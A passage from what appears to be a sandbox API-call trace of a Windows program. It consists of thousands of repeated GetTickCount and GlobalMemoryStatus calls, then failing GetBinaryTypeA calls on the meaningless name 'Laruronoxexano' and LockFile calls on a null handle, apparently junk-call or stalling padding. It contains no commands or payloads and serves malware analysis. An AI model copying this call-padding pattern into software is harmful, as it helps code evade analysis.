lpBuffer=0x18de88) [0043.083] GetTickCount () returned 0x19e8f [0043.083] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.083] GetTickCount () returned 0x19e8f [0043.083] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.083] GetTickCount () returned 0x19e8f [0043.083] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.083] GetTickCount () returned 0x19e8f [0043.083] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.083] GetTickCount () returned 0x19e8f [0043.083] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.083] GetTickCount () returned 0x19e8f [0043.083] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.083] GetTickCount () returned 0x19e8f [0043.083] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.084] GetTickCount () returned 0x19e8f [0043.084] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.084] GetTickCount () returned 0x19e8f [0043.084] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.084] GetTickCount () returned 0x19e8f [0043.084] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.084] GetTickCount () returned 0x19e8f [0043.084] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.084] GetTickCount () returned 0x19e8f [0043.084] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.084] GetTickCount () returned 0x19e8f [0043.084] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.084] GetTickCount () returned 0x19e8f [0043.084] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.084] GetTickCount () returned 0x19e8f [0043.084] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.084] GetTickCount () returned 0x19e8f [0043.084] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.085] GetTickCount () returned 0x19e8f [0043.085] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.085] GetTickCount () returned 0x19e8f [0043.085] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.085] GetTickCount () returned 0x19e8f [0043.085] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.085] GetTickCount () returned 0x19e8f [0043.085] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.085] GetTickCount () returned 0x19e8f [0043.085] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.085] GetTickCount () returned 0x19e8f [0043.085] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.085] GetTickCount () returned 0x19e8f [0043.085] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.085] GetTickCount () returned 0x19e8f [0043.085] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.085] GetTickCount () returned 0x19e8f [0043.085] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.085] GetTickCount () returned 0x19e8f [0043.086] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.086] GetTickCount () returned 0x19e8f [0043.086] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.086] GetTickCount () returned 0x19e8f [0043.086] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.086] GetTickCount () returned 0x19e8f [0043.086] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.086] GetTickCount () returned 0x19e8f [0043.086] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.086] GetTickCount () returned 0x19e8f [0043.086] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.086] GetTickCount () returned 0x19e8f [0043.086] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.086] GetTickCount () returned 0x19e8f [0043.086] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.086] GetTickCount () returned 0x19e8f [0043.086] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.086] GetTickCount () returned 0x19e8f [0043.086] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.087] GetTickCount () returned 0x19e8f [0043.087] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.087] GetTickCount () returned 0x19e8f [0043.087] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.087] GetTickCount () returned 0x19e8f [0043.087] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.087] GetTickCount () returned 0x19e8f [0043.087] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.087] GetTickCount () returned 0x19e8f [0043.087] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.087] GetTickCount () returned 0x19e8f [0043.087] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.087] GetTickCount () returned 0x19e8f [0043.087] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.087] GetTickCount () returned 0x19e8f [0043.087] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.087] GetTickCount () returned 0x19e8f [0043.087] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.087] GetTickCount () returned 0x19e8f [0043.088] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.088] GetTickCount () returned 0x19e8f [0043.088] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.088] GetTickCount () returned 0x19e8f [0043.088] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.088] GetTickCount () returned 0x19e8f [0043.088] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.088] GetTickCount () returned 0x19e8f [0043.088] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.088] GetTickCount () returned 0x19e8f [0043.088] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.088] GetTickCount () returned 0x19e8f [0043.088] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.088] GetTickCount () returned 0x19e8f [0043.088] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.088] GetTickCount () returned 0x19e8f [0043.088] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.088] GetTickCount () returned 0x19e8f [0043.088] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.089] GetTickCount () returned 0x19e8f [0043.089] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.089] GetTickCount () returned 0x19e8f [0043.089] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.089] GetTickCount () returned 0x19e8f [0043.089] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.089] GetTickCount () returned 0x19e8f [0043.089] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.089] GetTickCount () returned 0x19e8f [0043.089] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.089] GetTickCount () returned 0x19e8f [0043.089] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.089] GetTickCount () returned 0x19e8f [0043.089] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.089] GetTickCount () returned 0x19e8f [0043.089] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.089] GetTickCount () returned 0x19e8f [0043.089] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.090] GetTickCount () returned 0x19e8f [0043.090] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.090] GetTickCount () returned 0x19e8f [0043.090] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.090] GetTickCount () returned 0x19e8f [0043.090] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.090] GetTickCount () returned 0x19e8f [0043.090] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.090] GetTickCount () returned 0x19e8f [0043.090] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.090] GetTickCount () returned 0x19e8f [0043.090] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.090] GetTickCount () returned 0x19e8f [0043.090] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.090] GetTickCount () returned 0x19e8f [0043.090] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.090] GetTickCount () returned 0x19e8f [0043.090] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.090] GetTickCount () returned 0x19e8f [0043.091] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.091] GetTickCount () returned 0x19e8f [0043.091] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.091] GetTickCount () returned 0x19e8f [0043.091] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.091] GetTickCount () returned 0x19e8f [0043.091] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.091] GetTickCount () returned 0x19e8f [0043.091] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.091] GetTickCount () returned 0x19e8f [0043.091] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.091] GetTickCount () returned 0x19e8f [0043.091] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.091] GetTickCount () returned 0x19e8f [0043.091] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.091] GetTickCount () returned 0x19e8f [0043.091] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.091] GetTickCount () returned 0x19e8f [0043.091] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.092] GetTickCount () returned 0x19e8f [0043.092] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.092] GetTickCount () returned 0x19e8f [0043.092] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.092] GetTickCount () returned 0x19e8f [0043.092] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.092] GetTickCount () returned 0x19e8f [0043.092] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.092] GetTickCount () returned 0x19e8f [0043.092] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.092] GetTickCount () returned 0x19e8f [0043.092] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.092] GetTickCount () returned 0x19e8f [0043.092] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.092] GetTickCount () returned 0x19e8f [0043.092] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.092] GetTickCount () returned 0x19e8f [0043.092] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.093] GetTickCount () returned 0x19e8f [0043.093] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.093] GetTickCount () returned 0x19e8f [0043.393] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.393] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.393] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.393] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.393] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.393] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.393] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.393] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.393] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.393] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.393] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.393] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.393] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.393] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.394] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.394] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.394] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.394] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.394] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.394] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.394] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.394] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.394] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.394] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.394] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.394] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.394] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.394] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.394] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.394] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.395] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.395] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.395] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.395] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.395] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.395] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.395] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.395] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.395] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.395] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.395] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.395] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.396] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.396] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.396] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.396] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.396] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.396] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.396] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.396] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.396] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.396] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.396] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.396] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.396] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.396] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.396] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.396] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.396] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.396] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.396] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.396] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.397] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.397] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.397] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.397] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.397] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.397] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.397] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.397] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.397] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.397] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.397] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.397] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.397] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.397] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.397] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.397] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.397] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.397] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.397] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.398] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.398] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.398] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.398] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.398] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.398] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.398] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.398] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.398] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.398] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.398] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.398] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.398] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.398] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.398] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.398] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.398] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.398] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.398] LockFile (hFile=0x0, 